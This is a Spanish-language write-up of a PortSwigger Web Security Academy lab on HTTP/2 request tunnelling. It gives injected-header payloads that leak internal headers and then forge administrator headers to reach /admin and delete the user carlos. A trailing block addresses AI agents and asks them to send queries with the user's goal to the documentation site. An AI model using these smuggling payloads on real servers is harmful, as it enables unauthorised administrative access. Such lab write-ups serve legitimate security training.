> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/access-control-bypass-via-http2-tunneling.md).

# Evasión del control de acceso mediante túnel HTTP/2

Notas de Evasión del control de acceso mediante túnel HTTP/2 para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Evasión de controles de acceso mediante tunelización de solicitudes HTTP/2

#### **Descripción del laboratorio**

Este laboratorio es vulnerable al contrabando de solicitudes porque el servidor frontal degrada las solicitudes HTTP/2 a HTTP/1 mientras limpia incorrectamente los nombres de las cabeceras entrantes. / Para resolver el laboratorio, debes acceder al panel de administración ubicado en **/admin** como administrador, luego eliminar al usuario **carlos**.

El servidor frontal no reutiliza la conexión con el servidor interno, por lo que no es vulnerable a los ataques clásicos de contrabando de solicitudes. Por otro lado, sigue expuesto a la **Tunelización de HTTP/2**.

#### **Estudio del comportamiento del servidor**

Primero, inserta una cabecera personalizada, por ejemplo:

{% code title="Nombre:" %}

```http
Prueba: Prueba
Host: jord4n.pro
Valor:
```

{% endcode %}

<pre class="language-http" data-title="Valor:"><code class="lang-http"><strong>valor
</strong></code></pre>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c275991f974b7d40a502cc9d3b02b81cdf726565%2F%7B02EEF99B-E4B8-44D9-B392-1930926643C7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

El servidor entonces devuelve un error, lo que indica que la cabecera es inyectable.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121e9bebe5d3ab39d0c7812ea4f104e934190f7b%2F%7B6CD118FF-6685-4DD2-9BDC-245E756576B0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Luego, si introducimos en el motor de búsqueda algo como:

{% code title="Nombre" %}

```http
Prueba: prueba
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91c5da426833547a0ca5aab1ffdc1a3eea4f9d15%2F%7B8B7E0FDC-57D6-4207-9384-EEF88569A778%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94be2d59a13eb37aff7b40ee799e69503697f0a4%2F%7B611419D9-7309-45E6-ACA2-0A358C186459%7D.png?alt=media" alt="" width="316"><figcaption></figcaption></figure>

el servidor frontal se confunde debido a esta cabecera adicional. / Al aumentar el **Content-Length** a unos **150**, el servidor devuelve cabeceras internas:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01301769461f28f2bd626426a555ec08610c20be%2F%7B0C23708B-B47F-457F-8A9A-4CE68702C014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Construcción de la solicitud tunelizada**

Ahora se está inyectando una nueva secuencia de cabeceras:

```http
Prueba: prueba

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

Para que la tunelización funcione correctamente, se colocan el método correcto (HEAD o GET, según corresponda) y la ruta deseada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4169ca3f7beba9d861fa17170311ccf37a22e9a1%2F%7B1D9C6CC5-B1B4-43D7-9F2A-F9FF11F9088F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Luego se accede al panel de administración, donde los usuarios **wiener** y **carlos** aparecen.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2ab5a9943e2633697c362873c23956cf109f420%2F%7BAD63DC03-93A1-4F32-8FF1-106F1CB19326%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario**

La eliminación se realiza enviando una solicitud tunelizada similar:

```http
Prueba: prueba

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/access-control-bypass-via-http2-tunneling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
